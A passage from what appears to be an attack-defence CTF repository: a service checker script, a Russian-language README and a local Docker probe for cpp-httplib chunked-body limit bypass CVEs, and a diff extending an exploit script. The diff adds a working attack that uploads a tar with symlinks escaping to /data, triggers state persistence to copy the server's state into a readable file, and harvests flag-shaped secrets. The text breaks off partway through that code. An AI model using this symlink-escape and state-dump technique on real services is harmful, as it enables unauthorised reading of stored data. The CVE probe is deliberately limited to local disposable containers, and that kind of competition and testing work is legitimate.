status, _ = self.request("/does-not-exist")
if status == 404:
return
raise CheckFailure("service readiness probe returned an unexpected status")
except CheckFailure as error:
if "connection or timeout failure" not in str(error) or time.monotonic() >= deadline:
raise
time.sleep(0.2)
def rpc_response(self, action: str, token: str | None = None, **fields: object) -> tuple[int, dict]:
payload: dict[str, object] = {"action": action, **fields}
if token is not None:
payload["token"] = token
status, raw = self.request(
"/rpc",
method="POST",
body=json.dumps(payload, separators=(",", ":")).encode(),
headers={"Content-Type": "application/json"},
)
try:
envelope = json.loads(raw)
except (ValueError, UnicodeDecodeError) as error:
raise CheckFailure(f"RPC {action}: response is not JSON") from error
if not isinstance(envelope, dict) or not isinstance(envelope.get("ok"), bool):
raise CheckFailure(f"RPC {action}: invalid response envelope")
return status, envelope
def rpc(self, action: str, token: str | None = None, **fields: object) -> dict:
status, envelope = self.rpc_response(action, token, **fields)
result = envelope.get("result")
if status != 200 or not envelope["ok"] or not isinstance(result, dict):
raise CheckFailure(f"RPC {action}: expected successful result, got HTTP {status}")
return result
def rejected(self, action: str, token: str | None, reason: str, **fields: object) -> None:
status, envelope = self.rpc_response(action, token, **fields)
if status != 400 or envelope["ok"] or reason not in str(envelope.get("error", "")):
raise CheckFailure(f"RPC {action}: expected rejection ({reason})")
def upload(self, package_id: str, token: str | None, content: bytes) -> int:
headers = {"Content-Type": "application/octet-stream"}
if token is not None:
headers["Authorization"] = f"Bearer {token}"
status, _ = self.request(
f"/packages/{package_id}/content", method="PUT", body=content, headers=headers
)
return status
def marker(kind: str) -> str:
# Intentionally not a game-flag-shaped value.
return f"LOCAL_CHECK_{kind}_{secrets.token_hex(16)}"
def value(result: dict, key: str, action: str) -> str:
item = result.get(key)
if not isinstance(item, str) or not item:
raise CheckFailure(f"RPC {action}: missing {key}")
return item
def require(condition: bool, description: str) -> None:
if not condition:
raise CheckFailure(description)
def save_state(path: Path, data: dict) -> None:
if path.exists() or path.is_symlink():
raise CheckFailure("state file already exists; choose a fresh path")
path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
descriptor, temporary = tempfile.mkstemp(prefix=f".{path.name}.", dir=path.parent)
try:
os.fchmod(descriptor, 0o600)
with os.fdopen(descriptor, "w", encoding="utf-8") as stream:
json.dump(data, stream, sort_keys=True)
stream.write("\n")
stream.flush()
os.fsync(stream.fileno())
os.replace(temporary, path)
finally:
if os.path.exists(temporary):
os.unlink(temporary)
def load_state(path: Path) -> dict:
try:
mode = path.stat().st_mode
if not stat.S_ISREG(mode) or mode & 0o077:
raise CheckFailure("state file must be a private regular file (mode 0600)")
data = json.loads(path.read_text(encoding="utf-8"))
except (OSError, ValueError) as error:
raise CheckFailure("cannot load state file") from error
if not isinstance(data, dict) or data.get("schema") != 1:
raise CheckFailure("unsupported state file")
for key in (
"owner_token", "other_token", "ship_id", "profile_id", "job_id",
"flight_id", "summary_id", "package_id", "message", "manifest",
"summary", "navigation", "package_report",
):
if not isinstance(data.get(key), str) or not data[key]:
raise CheckFailure("incomplete state file")
if ("import_id" in data) != ("import_content" in data):
raise CheckFailure("incomplete imported bulletin state")
for key in ("import_id", "import_content"):
if key in data and (not isinstance(data[key], str) or not data[key]):
raise CheckFailure("incomplete imported bulletin state")
return data
def put(
client: Client,
path: Path,
import_url: str | None = None,
import_contains: str | None = None,
) -> dict:
if path.exists() or path.is_symlink():
raise CheckFailure("state file already exists; choose a fresh path")
owner = value(client.rpc("register"), "token", "register")
other = value(client.rpc("register"), "token", "register")
ship = value(client.rpc("create_ship", owner), "ship_id", "create_ship")
message = marker("MESSAGE")
manifest = marker("MANIFEST")
summary = marker("SUMMARY")
navigation = marker("NAVIGATION")
package_report = marker("PACKAGE_REPORT")
client.rpc("post_message", owner, ship_id=ship, message=message)
profile = value(
client.rpc("create_profile", owner, ship_id=ship), "profile_id", "create_profile"
)
job = value(
client.rpc("create_export", owner, profile_id=profile), "job_id", "create_export"
)
exported = client.rpc("run_export", owner, job_id=job)
require(message in exported.get("messages", []), "run_export omitted ship message")
flight = value(
client.rpc(
"create_flight",
owner,
geometry="local-check-" + secrets.token_hex(8),
map_version="1",
options="default",
manifest=manifest,
navigation=navigation,
),
"flight_id",
"create_flight",
)
summary_id = value(
client.rpc("create_summary", owner, content=summary),
"summary_id",
"create_summary",
)
package_id = value(client.rpc("create_package", owner), "package_id", "create_package")
require(
client.upload(package_id, owner, regular_tar(package_report)) == 200,
"package PUT failed",
)
client.rpc("approve_package", owner, package_id=package_id)
state = {
"schema": 1,
"owner_token": owner,
"other_token": other,
"ship_id": ship,
"profile_id": profile,
"job_id": job,
"flight_id": flight,
"summary_id": summary_id,
"package_id": package_id,
"message": message,
"manifest": manifest,
"summary": summary,
"navigation": navigation,
"package_report": package_report,
}
if import_url is not None:
imported = client.rpc("import_bulletin", owner, url=import_url)
content = value(imported, "content", "import_bulletin")
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
state["import_id"] = value(imported, "import_id", "import_bulletin")
state["import_content"] = content
save_state(path, state)
get(client, state)
return state
def get(client: Client, state: dict) -> None:
owner = state["owner_token"]
source = client.rpc("read_source_messages", owner, source_id=state["ship_id"])
require(state["message"] in source.get("messages", []), "old ship message missing")
exported = client.rpc("export_result", owner, job_id=state["job_id"])
require(exported.get("state") == "DONE", "old export job is not DONE")
require(state["message"] in exported.get("messages", []), "old export message missing")
report = client.rpc("report", owner, flight_id=state["flight_id"])
require(report.get("manifest") == state["manifest"], "old flight manifest missing")
manifest = client.rpc("read_manifest", owner, flight_id=state["flight_id"])
require(manifest.get("manifest") == state["manifest"], "old direct manifest read failed")
summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
require(summary.get("content") == state["summary"], "old summary missing")
navigation = client.rpc("read_navigation", owner, flight_id=state["flight_id"])
require(navigation.get("navigation") == state["navigation"], "old navigation missing")
package = client.rpc(
"generate_report", owner, package_id=state["package_id"], attachment="report.txt"
)
require(package.get("report") == state["package_report"], "old package report missing")
if "import_id" in state:
imported = client.rpc("import_result", owner, import_id=state["import_id"])
require(imported.get("content") == state["import_content"], "old imported bulletin missing")
def regular_tar(content: str) -> bytes:
raw = content.encode()
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w") as archive:
item = tarfile.TarInfo("report.txt")
item.size = len(raw)
item.mode = 0o600
archive.addfile(item, io.BytesIO(raw))
return output.getvalue()
def check(client: Client, state: dict, import_url: str | None = None, import_contains: str | None = None) -> None:
owner, other = state["owner_token"], state["other_token"]
ship, flight = state["ship_id"], state["flight_id"]
# The observed Skipper CHECK sequence uses these three actions in order.
probe_owner = value(client.rpc("register"), "token", "register")
probe_flight = value(
client.rpc(
"create_flight", probe_owner, geometry="public-check",
map_version="1", options="default", manifest="synthetic-public-check",
navigation="synthetic-public-check",
),
"flight_id", "create_flight",
)
value(
client.rpc("grant_geometry", probe_owner, flight_id=probe_flight),
"grant_id", "grant_geometry",
)
client.rejected("read_source_messages", other, "forbidden", source_id=ship)
client.rejected("export_result", other, "forbidden", job_id=state["job_id"])
client.rejected("report", other, "forbidden", flight_id=flight)
client.rejected("read_summary", other, "forbidden", summary_id=state["summary_id"])
client.rejected("read_navigation", other, "forbidden", flight_id=flight)
client.rejected(
"generate_report", other, "forbidden",
package_id=state["package_id"], attachment="report.txt",
)
if "import_id" in state:
client.rejected("import_result", other, "forbidden", import_id=state["import_id"])
# Former alias/profile chains must not connect another user to this ship.
client.rejected("bind_source", other, "forbidden", source_id=ship.upper())
own_alias = f" {ship.upper()} "
status, envelope = client.rpc_response("bind_source", owner, source_id=own_alias)
if status != 200 or not envelope["ok"]:
require(
status == 400 and envelope.get("error") == "source exists",
"valid own source alias could not be created or reused",
)
aliased = client.rpc("read_source_messages", owner, source_id=own_alias)
require(state["message"] in aliased.get("messages", []), "valid own source alias broke")
own_ship = value(client.rpc("create_ship", other), "ship_id", "create_ship")
own_profile = value(
client.rpc("create_profile", other, ship_id=own_ship), "profile_id", "create_profile"
)
client.rejected(
"edit_profile", other, "forbidden", profile_id=own_profile, ship_id=ship
)
public = client.rpc("flight_public", other, flight_id=flight)
require(isinstance(public.get("geometry"), str), "public flight view broke")
parent = value(client.rpc("grant_geometry", owner, flight_id=flight), "grant_id", "grant_geometry")
expires = int(time.time()) + 300
client.rejected(
"delegate", other, "invalid delegation", parent_id=parent,
rights=["manifest.read"], expires=expires,
)
subset = value(
client.rpc("delegate", other, parent_id=parent, rights=["geometry.read"], expires=expires),
"grant_id", "delegate",
)
client.rejected("read_manifest", other, "forbidden", flight_id=flight, grant_id=subset)
client.rejected(
"import_bulletin", other, "internal source forbidden",
url="http://127.0.0.1:8080/internal/summaries/local-check",
)
if import_url is not None:
imported = client.rpc("import_bulletin", other, url=import_url)
import_id = value(imported, "import_id", "import_bulletin")
content = value(imported, "content", "import_bulletin")
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
reread = client.rpc("import_result", other, import_id=import_id)
require(reread.get("content") == content, "stored import result mismatch")
client.rejected("import_result", owner, "forbidden", import_id=import_id)
package = value(client.rpc("create_package", other), "package_id", "create_package")
first, second = marker("REPORT1"), marker("REPORT2")
require(client.upload(package, other, regular_tar(first)) == 200, "package PUT failed")
require(client.upload(package, None, regular_tar(first)) == 400, "anonymous package PUT accepted")
require(client.upload(package, owner, regular_tar(first)) == 400, "cross-user package PUT accepted")
client.rpc("approve_package", other, package_id=package)
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
require(result.get("report") == first, "approved report content mismatch")
client.rejected(
"generate_report", owner, "forbidden", package_id=package, attachment="report.txt"
)
require(client.upload(package, other, regular_tar(second)) == 200, "replacement PUT failed")
client.rejected(
"generate_report", other, "package not approved",
package_id=package, attachment="report.txt",
)
client.rpc("approve_package", other, package_id=package)
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
require(result.get("report") == second, "replacement report content mismatch")
invalid_package = value(
client.rpc("create_package", other), "package_id", "create_package"
)
require(client.upload(invalid_package, other, b"not a tar") == 200, "invalid TAR upload failed")
client.rejected("approve_package", other, "empty package", package_id=invalid_package)
status, raw = client.request(
"/rpc", method="POST", body=b"{", headers={"Content-Type": "application/json"}
)
require(status == 400 and b'"ok":false' in raw, "malformed JSON was not rejected")
client.rejected("read_summary", None, "missing token", summary_id=state["summary_id"])
client.rejected("unknown_check_action", owner, "unknown action")
status, _ = client.request("/does-not-exist")
require(status == 404, "unknown route did not return 404")
final_summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
require(final_summary.get("content") == state["summary"], "final summary read failed")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--url", default="http://127.0.0.1:18086", help="isolated local service URL")
parser.add_argument("--state", required=True, type=Path, help="private state file outside Git")
parser.add_argument("--timeout", default=3.0, type=float, help="per-request timeout in seconds")
parser.add_argument("--import-url", help="optional non-loopback local bulletin mock URL")
parser.add_argument("--import-contains", help="expected substring from that mock bulletin")
parser.add_argument("command", choices=("put", "get", "check", "all"))
args = parser.parse_args()
if args.timeout <= 0:
parser.error("--timeout must be positive")
if not args.url.startswith(("http://", "https://")):
parser.error("--url must be HTTP(S)")
if bool(args.import_url) != bool(args.import_contains):
parser.error("--import-url and --import-contains must be supplied together")
if args.import_url and not args.import_url.startswith("http://"):
parser.error("--import-url must be an HTTP URL")
client = Client(args.url, args.timeout)
try:
client.wait_ready()
if args.command in ("put", "all"):
state = put(client, args.state, args.import_url, args.import_contains)
print("PASS put: five synthetic values stored and read")
else:
state = load_state(args.state)
if args.command in ("get", "all"):
get(client, state)
print("PASS get: stored values, export, and package survived")
if args.command in ("check", "all"):
check(client, state, args.import_url, args.import_contains)
print("PASS check: ownership, delegation, package, malformed requests")
return 0
except CheckFailure as error:
print(f"FAIL: {error}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,63 @@
# Lighthouse / cpp-httplib: локальная проверка четырёх CVE
Это отдельный PoC для одноразового локального контейнера Lighthouse. Он не
принимает адрес цели и не является сплоитом Neo. Проверка отказа в обслуживании
на игровом сервисе может нарушить SLA. Пункт 16 регламента (стр. 15 PDF
`Положение GO CTF TATARSTAN 2026.pdf`) запрещает большой объём трафика,
угрожающий стабильности систем организаторов или других команд.
## Источник и граница вывода
В `lighthouse/server/main.cpp` установлен `set_payload_max_length(32768)`.
`lighthouse/Dockerfile` ставит Debian bookworm `libcpp-httplib-dev`; проверенный
baseline image содержит `0.11.4+ds-1+deb12u1`. Для этой версии [Debian Security
Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53629) отмечает
уязвимость. Уязвимый исходник upstream v0.11.4 в
[`read_content`](https://github.com/yhirose/cpp-httplib/blob/v0.11.4/httplib.h)
сравнивает `payload_max_length` только с `Content-Length`, пропуская ветку
`Transfer-Encoding: chunked`.
| CVE | Проверка здесь | Вывод |
| --- | --- | --- |
| [CVE-2025-46728](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-px83-72rx-v57c) | Один полный chunked-запрос на 32769 байт и один контрольный `Content-Length` на столько же | Локально подтверждён обход настроенного лимита тела. Это не демонстрация исчерпания памяти. Исходный upstream PoC этой CVE имел неверно экранированные CRLF. |
| [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628) | Только исходник `stream_line_reader::getline()` v0.11.4 | В цикле чтения строки нет предварительного лимита. `CPPHTTPLIB_HEADER_MAX_LENGTH` проверяется уже после чтения всей строки. Динамического измерения расхода памяти нет. |
| [CVE-2025-53629](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-qjmq-h3cc-qv6w) | Тот же корректный chunked-запрос, что и для 46728 | Локально подтверждён тот же обход лимита. Это уточнённый случай после того, как исправление 0.20.1 устранило лишь чтение длинной строки. Независимого второго механизма здесь нет. |
| [CVE-2026-45352](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) | Только исходник `read_content_chunked()` v0.11.4 | `strtoul()` принимает ведущий минус, а проверка отвергает только `ULONG_MAX`. Отрицательный chunk size по сети не отправляется: эффект OOM/краха не тестировался. |
## Воспроизведение
Нужен локальный Docker daemon через Unix socket. Скрипт откажется работать с
удалённым Docker context или `DOCKER_HOST` не вида `unix://`. Укажите заранее
собранный образ уязвимой версии из коммита `4f70df5` или прежнего
checker-compatible коммита `143182a`, а также образ патча. Текущий `main` уже
может содержать исправление, поэтому его нельзя собирать как baseline:
```sh
python3 sploits/lighthouse/cve_httplib_local/probe.py \
--vulnerable-image lighthouse-cve-baseline:local \
--patched-image lighthouse-cve-patched:local
```
`--patched-image` можно опустить, если нужен только исходный контроль;
к исправленному образу применяются те же два запроса. Для исходного
образа ожидаются `Content-Length=413` и `chunked=201`; для исправленного —
`413` и `413`. Ответ `201` содержит локальный `read_key`, поэтому скрипт
выводит только коды HTTP и ID образа.
Скрипт создаёт один контейнер на образ с 128 MiB RAM, 1 CPU, 64 процессами,
`read-only` rootfs и временными каталогами по 8 MiB. Порт публикуется только
на случайном `127.0.0.1` порту хоста. На образ отправляются два законченных
запроса размером менее 34 KiB каждый; на ожидание ответа выделено 2 секунды.
Контейнер удаляется после проверки. Скрипт не отправляет бесконечные чанки,
длинные строки или отрицательные размеры чанка.
Пример наблюдения 25.10.2026 на Mac arm64 (локальные disposable images):
```text
baseline: Content-Length=413 chunked=201
patched (image tag 0.43.4-arm-test): Content-Length=413 chunked=413
```
Это доказывает прохождение сверхлимитного тела в старом контейнере и отказ в
локальном кандидате, но не отсутствие других DoS, не качество checker и не
состояние игровой vulnbox.
@@ -0,0 +1,175 @@
#!/usr/bin/env python3
"""Bounded cpp-httplib CVE probe for a disposable, local Lighthouse container.
There is deliberately no remote target option. The test sends two HTTP requests
per image: one Content-Length control and one correctly framed chunked request.
The other two CVEs are source-only findings; this program never sends a long
line or a negative chunk size.
"""
from __future__ import annotations
import argparse
import os
import re
import signal
import socket
import subprocess
import sys
import time
import uuid
from contextlib import contextmanager
BODY_LIMIT = 32_768 # lighthouse/server/main.cpp
BASE_BODY = b'{"label":"local-cve-probe"}'
BODY = BASE_BODY + b" " * (BODY_LIMIT + 1 - len(BASE_BODY))
assert len(BODY) == BODY_LIMIT + 1
MAX_WIRE_BYTES = 34_000
MAX_CONTAINER_MEMORY = "128m"
COMMAND_TIMEOUT = 15
SOCKET_TIMEOUT = 2
def docker(*args: str, timeout: int = COMMAND_TIMEOUT) -> str:
result = subprocess.run(
["docker", *args], capture_output=True, text=True, timeout=timeout,
check=False,
)
if result.returncode:
raise RuntimeError(f"docker {args[0]} failed: {result.stderr.strip()[:240]}")
return result.stdout.strip()
def require_local_docker() -> None:
override = os.environ.get("DOCKER_HOST", "")
endpoint = docker("context", "inspect", "--format", "{{.Endpoints.docker.Host}}")
if not endpoint.startswith("unix://") or (override and not override.startswith("unix://")):
raise RuntimeError("a local Unix-socket Docker daemon is required")
def response_status(port: int, request: bytes) -> int:
if len(request) > MAX_WIRE_BYTES:
raise ValueError("request exceeds local wire-byte cap")
with socket.create_connection(("127.0.0.1", port), timeout=SOCKET_TIMEOUT) as sock:
sock.settimeout(SOCKET_TIMEOUT)
sock.sendall(request)
first = bytearray()
while b"\r\n" not in first and len(first) < 256:
data = sock.recv(256 - len(first))
if not data:
break
first.extend(data)
match = re.match(rb"HTTP/1\.[01] ([0-9]{3})\b", first)
if not match:
raise RuntimeError(f"no HTTP status, prefix={bytes(first[:48])!r}")
return int(match.group(1))
def request_with_length() -> bytes:
return (
b"POST /api/queues HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/json\r\n"
+ f"Content-Length: {len(BODY)}\r\n".encode()
+ b"Connection: close\r\n\r\n"
+ BODY
)
def request_chunked() -> bytes:
# A single complete chunk avoids any repeated-send/flood behavior.
return (
b"POST /api/queues HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/json\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n\r\n"
+ f"{len(BODY):x}\r\n".encode()
+ BODY
+ b"\r\n0\r\n\r\n"
)
def wait_ready(port: int) -> None:
deadline = time.monotonic() + 6
probe = (
b"GET /api/health HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Connection: close\r\n\r\n"
)
while time.monotonic() < deadline:
try:
if response_status(port, probe) == 200:
return
except (OSError, RuntimeError):
pass
time.sleep(0.15)
raise RuntimeError("disposable container did not become healthy within 6 s")
@contextmanager
def disposable_container(image: str):
image_id = docker("image", "inspect", image, "--format", "{{.Id}}")
name = "lighthouse-cve-local-" + uuid.uuid4().hex[:12]
container = ""
try:
container = docker(
"run", "--detach", "--rm", "--name", name,
"--publish", "127.0.0.1::8080",
"--memory", MAX_CONTAINER_MEMORY,
"--memory-swap", MAX_CONTAINER_MEMORY,
"--cpus", "1", "--pids-limit", "64",
"--cap-drop", "ALL", "--security-opt", "no-new-privileges",
"--read-only",
"--tmpfs", "/data:rw,size=8m,mode=0700",
"--tmpfs", "/var/log/lighthouse:rw,size=8m,mode=0700",
"--tmpfs", "/srv/lighthouse/work:rw,size=8m,mode=0711",
image,
)
port_result = docker("port", container, "8080/tcp")
port_match = re.fullmatch(r"127\.0\.0\.1:([0-9]+)", port_result)
if not port_match:
raise RuntimeError(f"unexpected Docker port binding: {port_result!r}")
port = int(port_match.group(1))
wait_ready(port)
yield image_id, port
finally:
if container:
subprocess.run(["docker", "rm", "--force", container],
capture_output=True, timeout=COMMAND_TIMEOUT, check=False)
def run_one(label: str, image: str) -> None:
with disposable_container(image) as (image_id, port):
control = response_status(port, request_with_length())
chunked = response_status(port, request_chunked())
print(f"{label}: image={image_id} Content-Length={control} chunked={chunked}")
if control == 413 and chunked == 201:
print(f"{label}: CVE-2025-46728 / CVE-2025-53629 payload-limit bypass confirmed locally")
elif control == 413 and chunked == 413:
print(f"{label}: both over-limit encodings rejected")
else:
print(f"{label}: inconclusive; inspect the disposable image and route behavior")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--vulnerable-image", required=True,
help="prebuilt disposable Lighthouse image using cpp-httplib 0.11.4")
parser.add_argument("--patched-image", help="optional prebuilt fixed-image control")
args = parser.parse_args()
try:
require_local_docker()
run_one("baseline", args.vulnerable_image)
if args.patched_image:
run_one("patched", args.patched_image)
except (OSError, RuntimeError, subprocess.TimeoutExpired) as error:
print(f"probe failed: {error}", file=sys.stderr)
return 1
print("CVE-2025-53628: source-only (no long-line allocation test)")
print("CVE-2026-45352: source-only (no negative-size/OOM test)")
return 0
if __name__ == "__main__":
signal.signal(signal.SIGTERM, lambda *_: sys.exit(143))
raise SystemExit(main())
+471 -18
View File
@@ -7,8 +7,13 @@ import io
import json
import os
import re
import stat
import sys
import tarfile
import tempfile
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit
from urllib.request import Request, urlopen
@@ -16,10 +21,27 @@ from urllib.request import Request, urlopen
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 256 * 1024
MAX_RESPONSE = 8 * 1024 * 1024
MAX_STATE_RESPONSE = 64 * 1024 * 1024
MAX_OBJECTS = 6
MAX_STATE_FLIGHTS = 512
TOTAL_RUNTIME = 7.0
IMPORTER_KEY = "orbit-importer-service-key"
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
ID_PATTERN = re.compile(
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
)
CONTEXT_PATTERNS = {
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
}
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z][A-Z0-9]{30}=(?![A-Z0-9])")
STATE_DUMP_MARKER = "orbital-state-dump"
SEEN_CACHE_VERSION = 1
SEEN_WARMUP_PASSES = 0
class ExploitError(Exception):
@@ -47,29 +69,36 @@ def parse_target(target: str) -> tuple[str, str]:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
port = 443 if parsed.scheme == "https" else SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
def request(
base: str,
path: str,
method: str = "GET",
body: bytes | None = None,
headers=None,
max_response: int = MAX_RESPONSE,
) -> tuple[int, bytes]:
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
if headers:
request_headers.update(headers)
req = Request(base + path, data=body, headers=request_headers, method=method)
try:
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
data = response.read(max_response + 1)
if len(data) > max_response:
raise ValueError("response too large")
return response.status, data
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE)
return exc.code, exc.read(max_response)
def rpc(base: str, action: str, **fields):
def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(
base,
@@ -77,6 +106,7 @@ def rpc(base: str, action: str, **fields):
method="POST",
body=payload,
headers={"Content-Type": "application/json"},
max_response=_response_limit,
)
try:
document = json.loads(raw)
@@ -150,6 +180,416 @@ def symlink_tar(name: str, target: str) -> bytes:
return output.getvalue()
def state_dump_tar(flight_id: str) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
escape = tarfile.TarInfo("escape")
escape.type = tarfile.SYMTYPE
escape.linkname = "/data"
archive.addfile(escape)
state_link = tarfile.TarInfo("escape/state.json.tmp")
state_link.type = tarfile.SYMTYPE
state_link.linkname = f"/data/navigation/{flight_id}.txt"
archive.addfile(state_link)
report = b"ok"
entry = tarfile.TarInfo("report.txt")
entry.size = len(report)
archive.addfile(entry, io.BytesIO(report))
return output.getvalue()
def context_path(base: str) -> Path:
configured = os.environ.get("ORBITAL_STATE_DIR")
root = (
Path(configured)
if configured
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
)
if os.name == "nt":
root.mkdir(parents=True, exist_ok=True)
else:
root.mkdir(mode=0o700, parents=True, exist_ok=True)
root.chmod(0o700)
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
return root / name
def seen_path(base: str) -> Path:
return context_path(base).with_suffix(".flags.json")
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
path = seen_path(base)
try:
info = path.lstat()
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
return None
document = json.loads(path.read_text(encoding="utf-8"))
except (FileNotFoundError, OSError, ValueError):
return None
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
return None
passes = document.get("passes")
flags = document.get("flags")
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
return None
values = {
item
for item in flags
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item)
}
return passes, values
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
path = seen_path(base)
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(
{
"version": SEEN_CACHE_VERSION,
"passes": passes,
"flags": sorted(flags),
},
handle,
separators=(",", ":"),
)
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def fresh_flags(base: str, loot: list[str]) -> tuple[list[str], int, int]:
current = {
match.group(0)
for item in loot
for match in FLAG_PATTERN.finditer(item)
}
cached = load_seen_flags(base)
if cached is None:
passes = 1
seen: set[str] = set()
else:
previous_passes, seen = cached
passes = previous_passes + 1
new = sorted(current - seen) if passes > SEEN_WARMUP_PASSES else []
save_seen_flags(base, passes, seen | current)
return new, len(current), passes
def valid_context(document, base: str) -> bool:
return (
isinstance(document, dict)
and document.get("base") == base
and all(
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
for key, pattern in CONTEXT_PATTERNS.items()
)
)
def load_context(base: str):
try:
document = json.loads(context_path(base).read_text(encoding="utf-8"))
except (OSError, ValueError):
return None
return document if valid_context(document, base) else None
def save_context(base: str, context) -> None:
path = context_path(base)
document = {"base": base, **context}
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(document, handle, separators=(",", ":"))
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def discard_context(base: str) -> None:
try:
context_path(base).unlink()
except OSError:
pass
def create_host_context(base: str):
token = register(base)
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
flight_id = rpc(
base,
"create_flight",
token=token,
geometry=STATE_DUMP_MARKER,
map_version=STATE_DUMP_MARKER,
options=STATE_DUMP_MARKER,
manifest=STATE_DUMP_MARKER,
navigation=STATE_DUMP_MARKER,
)["flight_id"]
package_id = rpc(base, "create_package", token=token)["package_id"]
context = {
"token": token,
"ship_id": ship_id,
"profile_id": profile_id,
"flight_id": flight_id,
"package_id": package_id,
}
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
return context
def trigger_persist(base: str, context) -> None:
rpc(
base,
"edit_profile",
token=context["token"],
profile_id=context["profile_id"],
ship_id=context["ship_id"],
)
def dump_state(base: str, context) -> str:
upload_package(
base,
context["package_id"],
context["token"],
regular_tar("report.txt", b"approved"),
)
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
upload_package(
base,
context["package_id"],
context["token"],
state_dump_tar(context["flight_id"]),
)
restore_needed = True
try:
try:
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
except ExploitError as exc:
# These checks reject the package before extracting the symlink.
if "package not approved" in str(exc) or "unsafe package" in str(exc):
restore_needed = False
raise
# The first persist copies state into our navigation file. The second
# immediately replaces state.json with a regular file. Read the copy
# only after both writes, keeping the symlink window as short as possible.
trigger_persist(base, context)
trigger_persist(base, context)
restore_needed = False
result = rpc(
base,
"read_navigation",
_response_limit=MAX_STATE_RESPONSE,
token=context["token"],
flight_id=context["flight_id"],
)
navigation = result.get("navigation") if isinstance(result, dict) else None
if not isinstance(navigation, str):
raise ExploitError("state dump: missing navigation")
return navigation
finally:
if restore_needed:
# An ambiguous timeout may occur before the first write is handled.
# In that case one successful write copies state through the link;
# the next successful write is needed to replace the link itself.
confirmed = 0
for attempt in range(5):
try:
trigger_persist(base, context)
confirmed += 1
if confirmed == 2:
break
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
if confirmed < 2:
raise ExploitError("state persistence cleanup not confirmed")
def state_payloads(state) -> list[str]:
values: list[str] = []
messages = state.get("messages", {})
if isinstance(messages, dict):
for items in messages.values():
